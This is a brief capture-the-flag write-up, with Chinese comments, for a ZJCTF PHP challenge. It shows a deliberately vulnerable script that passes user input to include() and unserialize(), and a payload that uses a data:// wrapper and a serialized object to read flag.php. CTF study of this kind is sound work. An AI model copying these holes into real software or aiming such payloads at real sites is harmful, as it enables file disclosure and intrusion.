<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

这不是原题吗

代码格式乱七八糟。。考虑考虑伪协议吧

真会有这么乱的php吗

文件包含，伪协议

payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}